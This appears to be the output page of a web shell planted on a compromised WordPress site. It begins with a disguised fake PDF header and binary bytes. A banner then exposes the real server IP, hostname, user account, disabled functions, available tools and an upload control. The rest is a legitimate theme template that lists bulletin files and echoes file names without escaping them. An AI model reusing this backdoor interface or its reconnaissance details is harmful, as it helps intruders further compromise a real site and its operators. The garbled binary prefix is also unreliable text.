...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/themes/greenture/ |
Upload File : |
<?php
/**
* Template Name: Boletines Template
*
* The docs page template to display docs section and VC Row to docs
*
* @package greenture
*/
get_header(); ?>
<?php
$dir = '/home/alasaweborg/public_html/wp-content/themes/greenture/users/boletines';
$directorio = opendir($dir);
$excluir = array('.', '..', '.quarantine', '.tmb');
$archivos = array();
while ($f = readdir($directorio)) {
if (!in_array($f, $excluir)) {
$archivos[] = $f;
}
}
closedir($directorio);
arsort($archivos,SORT_NATURAL | SORT_FLAG_CASE);
$id = get_the_ID();
?>
<div class="container">
<div class="row">
<div class="row">
<div class="col-md-6">
<?php if ($id == 2425){ ?>
<input type = "text" class="form-control form-search" id = "buscador" placeholder = "Buscar documento" autofocus />
<?php } ?>
<?php if ($id == 3391){ ?>
<input type = "text" class="form-control form-search" id = "buscador" placeholder = "Search document" autofocus />
<?php } ?>
<?php if ($id == 3395){ ?>
<input type = "text" class="form-control form-search" id = "buscador" placeholder = "Pesquisar documento" autofocus />
<?php } ?>
</div>
</div>
<?php
$url = 'https://alasa-web.org/wp-content/themes/greenture/users/boletines/';
//Mostrar Archivos
$i = 1;
if( $id == 2425){
foreach ($archivos as $a) {
echo '<div><h6 class="archivo-ico">' . $a . '<span class="pull-right"><a href= "' . $url . $a .'" class="btn btn-default btn-xs desc" download="' . $a . '">Descargar</a><a href="' . $url . $a .'" class="btn btn_bgcolor btn-xs" target="_blak">Ver</a></span></h6><hr></div>';
if (($i % 6) == 0 && ($i % 18) != 0) {
echo '</div><div class="row">';
}
$i++;
}
}
if( $id == 3391){
foreach ($archivos as $a) {
echo '<div><h6 class="archivo-ico">' . $a . '<span class="pull-right"><a href= "' . $url . $a .'" class="btn btn-default btn-xs desc" download="' . $a . '">Download</a><a href="' . $url . $a .'" class="btn btn_bgcolor btn-xs" target="_blak">See</a></span></h6><hr></div>';
if (($i % 6) == 0 && ($i % 18) != 0) {
echo '</div><div class="row">';
}
$i++;
}
}
if( $id == 3395){
foreach ($archivos as $a) {
echo '<div><h6 class="archivo-ico">' . $a . '<span class="pull-right"><a href= "' . $url . $a .'" class="btn btn-default btn-xs desc" download="' . $a . '">Baixar</a><a href="' . $url . $a .'" class="btn btn_bgcolor btn-xs" target="_blak">Veja</a></span></h6><hr></div>';
if (($i % 6) == 0 && ($i % 18) != 0) {
echo '</div><div class="row">';
}
$i++;
}
}
?>
</div>
</div>
<script>
var search = document.getElementById("buscador"),
archivo = document.getElementsByTagName("h6"),
forEach = Array.prototype.forEach;
search.addEventListener("keyup", function(e){
var choice = this.value;
forEach.call(archivo, function(f){
if (f.innerHTML.toLowerCase().search(choice.toLowerCase()) == -1)
f.parentNode.style.display = "none";
else
f.parentNode.style.display = "block";
});
}, false);
</script>
<?php get_footer(); ?>